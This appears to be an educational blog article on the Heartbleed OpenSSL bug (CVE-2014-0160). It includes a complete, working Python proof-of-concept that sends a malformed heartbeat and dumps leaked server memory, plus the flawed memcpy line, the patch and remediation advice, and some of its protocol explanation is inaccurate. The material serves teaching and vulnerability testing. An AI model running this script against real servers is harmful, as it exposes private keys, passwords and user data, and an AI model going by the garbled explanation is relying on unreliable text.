Vulnerability Deep Dive Series: HeartBleed

A tale of a vulnerable OpenSSL cryptographic software library

The HeartBleed Bug is a Critical level vulnerability in the popular OpenSSL cryptographic software library. This Vulnerability has also being referred as CVE-2014-0160. CVE i.e Common Vulnerability Exposures is the Standard of Information Security Vulnerability Names by MITRE. This particular bug allows attacker to steal the protected information, under normal conditions, by the SSL/TLS encryption used to secure the Internet. The SSL/TLS encryption provides communication security and privacy over the internet for applications such as web, instant messaging and emails.


The HeartBleed Vulnerability allows anyone on the internet to read the memory of the systems which are running the vulnerable versions of the OpenSSL software. It is a web based vulnerability which leads to exposure of sensitive Information/Data. The HeartBleed vulnerability is a bug in cryptographic library of OpenSSL which is widely used in the implementation of TLS/SSL protocols. This allows attacker to view the sensitive information that is rather expected to be not in human-readable due to the presence of SSL encryption. The versions affected by this vulnerability includes OpenSSL 1.0.1 and some version of 1.0.2(beta), although its a relatively old vulnerability, indeed critical one. It comes under Sensitive Data Exposure of OWASP TOP 10.

So let's get into detail of this vulnerability.... You might have noticed that when you surf a website in your web browser you may find HTTP or HTTPS running to surf the web with either of protocols. So what HTTPS is, it is HTTP with 'Security' which is nothing but the encrypted communication of your browser and the web server when you surf the particular website. The websites with HTTPS uses SSL/TLS encryption method to encrypt the communication so that if the conversation data packets are intercepted the attacker will not be able to read them because of the existing SSL encryption. So whenever you access a webiste and enter your login creds the web browser sends your creds encrypted to the web servers as to authenticate your credentials so as to allow you surf further on that particular website. So when you enter your creds, your browser exchanges the information with the web servers of that particular website where all the information about the website is stored. So this conversation between the browser and the web server exchanging creds for the authentication of a particular user takes place in the presence of SSL/TLS protocol so that no one can eavesdrop over the communication. So the web server to maintain this SSL encryption obviously require some resources for it to use.

Earlier the web server before the existence of OpenSSL, the server can maintain and manage only a particular numbers of SSL sockets at a time, therefore to free its resources for the other users waiting for an SSL encrypted connection the server would look for closing the existing SSL sockets/resources being used ASAP! So, If the user has remained inactive for a certain fixed time the web server automatically closes the connection with that particular user and hence interrupting the session. To prevent this interruption the browser sends a "HeartBeat Packet" which contains the request to server for keeping the session alive and don't interrupt the session while the user remained inactive.

The HeartBeat Packet interaction with the server goes like:
Browser: Hey Server, I am still here dont't go anywhere leaving me!
Server: Anything for you bro!


The HeartBeat packet is an extension used in TLS protocol allowing the TLS session up and running. The HeartBeat packet size if fixed upto 64kb, that explaining that we can obtain the memory dumps from server of not more than 64kb in a single request packet. Although there's no limit for the HeartBeat packet to requet from the server, so we can simply keep requesting to obtain more data dumps as we send requests! And the important point to notice in here is that this HeartBeat Packet conversation between the browser and the server is NOT encrypted. So an attacker can simply intercept the HeartBeat packet request and manipulate it hence leading it to easily dumping the memory from the server side using this HeartBeat packet. Also the heartbeat packet can contain anything upto 64kb solike if you send a data of 1kb through the heartbeat pakcet the server responds with 1kb and if you send 64kb it responds with 64kb. so what heartbleed is you send a 1kb heartbeat data packer to server telling it is of 64kb then server will send your 1kb required data with paded additional 63kb data which we actually didnt ask for so the issue is with the software which provides the ssl protocol not the protocol itself

How the HeartBleed Works:

[Meg, a girl with more curly hair than Megan, stands to the left in a panel. At the center of the panel is a black and gray server with red and green diode lights blinking.Meg is standing with her arms down in four panels. It will be noted when she does not. Meg talks to the server. The server "thinks" all the time, i.e we see its memory in all panels.The top and bottom line is breaking the edge of the thought bubble making it difficult to discern. In every second panel it replies to Meg. In these panels the number of letters requested by Meg is highlighted with yellow color.]


Notice the gray area of the server's thinking bubble displayed in the panels. That gray area refers to the memory in stack/registers which is present in the server already. This all memory dumping things happens parallely with the your browser's exchanging your creds with the server. Basicall, with the help of this heartbeat packet the brpwser keeps on checking over the server that he hasn't fallen asleep or something which may lead to closing of the connection between your browser and the web server. And this parallel proces of HeartBeat packet is not encrypted, so an attacker can easily intercept the heartbeat packet manipulate the request and get the senstive information available in the web server without leaving any trace of theft!

As you already saw a pictorial representation of conversation takes place inside the HeartBeat Packet but still lets take a moment to review that conversation:
Meg[attacker] - Hey server, you there? If yes reply 3 letter word C-A-T
*Server Keeps on the thinking process while he replies to Meg(notice the gray area)*
Server - C-A-T
Meg[attacker] - Hey server, if you still there reply with 4 letter word B-I-R-D
*Server Keeps on the thinking process while he replies to Meg(notice the gray area)*
Server - B-I-R-D
*Now Meg thinks...Hmmm...I wonder what happens when I manipulate the request by saying H-A-T as 500 letter word*
Server - H-A-T.Adminpass-&dsauy@#!%6dshgajjAdminUser-Waldo.User waldo wants to access XXX directory.............
So, what happened here is server misinterpreted the H-A-T as 500 letter word so he dumped 500 letters from his side unaware of the fact that he dumped extra 497 letter without actually reviewing the attacker's request. The hackers can generate 1000 of this tyoe of requests leading to dump all data from the server to them giving them access to almost everything! It all happens just because of the fact that server doesn't verify the HearBeat request size.

Exploit Code

#!/usr/bin/python
	
# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.	
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
						
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
						
def h2bin(x):
	return x.replace(' ', '').replace('\n', '').decode('hex')
						
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                  
''')
						
hb = h2bin(''' 
18 03 02 00 03
01 40 00
''')
						
def hexdump(s):
	for b in xrange(0, len(s), 16):
		lin = [c for c in s[b : b + 16]]
		hxdat = ' '.join('%02X' % ord(c) for c in lin)
		pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
		print '  %04x: %-48s %s' % (b, hxdat, pdat)
	print
						
def recvall(s, length, timeout=5):
	endtime = time.time() + timeout
	rdata = ''
	remain = length
	while remain > 0:
		rtime = endtime - time.time() 
		if rtime < 0:
			return None
		r, w, e = select.select([s], [], [], 5)
		if s in r:
			data = s.recv(remain)
			# EOF?
			if not data:
				return None
			rdata += data
			remain -= len(data)
	return rdata
								
						
def recvmsg(s):
	hdr = recvall(s, 5)
	if hdr is None:
		print 'Unexpected EOF receiving record header - server closed connection'
		return None, None, None
	typ, ver, ln = struct.unpack('>BHH', hdr)
	pay = recvall(s, ln, 10)
	if pay is None:
		print 'Unexpected EOF receiving record payload - server closed connection'
		return None, None, None
	print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
	return typ, ver, pay
						
def hit_hb(s):
	s.send(hb)
	while True:
		typ, ver, pay = recvmsg(s)
		if typ is None:
			print 'No heartbeat response received, server likely not vulnerable'
			return False
						
		if typ == 24:
			print 'Received heartbeat response:'
			hexdump(pay)
			if len(pay) > 3:
				print 'WARNING: server returned more data than it should - server is vulnerable!'
			else:
				print 'Server processed malformed heartbeat, but did not return any extra data.'
			return True
						
		if typ == 21:
			print 'Received alert:'
			hexdump(pay)
			print 'Server returned error, likely not vulnerable'
			return False
						
def main():
	opts, args = options.parse_args()
	if len(args) < 1:
		options.print_help()
		return
						
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	print 'Connecting...'
	sys.stdout.flush()
	s.connect((args[0], opts.port))
	print 'Sending Client Hello...'
	sys.stdout.flush()
	s.send(hello)
	print 'Waiting for Server Hello...'
	sys.stdout.flush()
	while True:
		typ, ver, pay = recvmsg(s)
		if typ == None:
			print 'Server closed connection without sending Server Hello.'
			return
		# Look for server hello done message.
		if typ == 22 and ord(pay[0]) == 0x0E:
			break
						
	print 'Sending heartbeat request...'
	sys.stdout.flush()
	s.send(hb)
	hit_hb(s)
						
if __name__ == '__main__':
	main()
									

HeartBleed Code and Mitigations

The possible coding mistake that caused this whole HeartBleed Vulnerability can be traced out to a single line of code.

memcpy(bp, pl, payload);
memcpy is the command that copies data. bp is the place it's copying it to, pl is where it's being copied from, and payload is the length of the data being copied. The problem is that there's never any attempt to check if the amount of data in pl is equal to the value given of payload.

OpenSSL is an opensource software and after the discovery of HeartBleed patches were rolled out immediately and in all likelihood most formerly vulnerable servers have been updated by that very point. Now let's have a look at the code that fixed this vulnerability.

/* Read type and payload length first */
if (1 + 2 + 16 > s->s3->relent)
return 0;
/* silently discard */
hbtype = *p++;
n2s(p, payload);
if (1 + 2 + payload + 16 > s->s3->rrec.length)
return 0;
br> /* silently discard per RFC 6520 sec. 4 */
pl = p;

The first part of this code makes sure that the heartbeat request isn't 0 KB, which can cause problems. The second part makes sure the request is actually as long as it says it is. If you discover that a server under your control has been left vulnerable for some time, there's more to do than just update the OpenSSL code. For instance, you should change the SSL certificates used by the servers, since they may have been compromised without leaving a trace. More pedestrian but still important: users who have accounts on the system should change their passwords.

References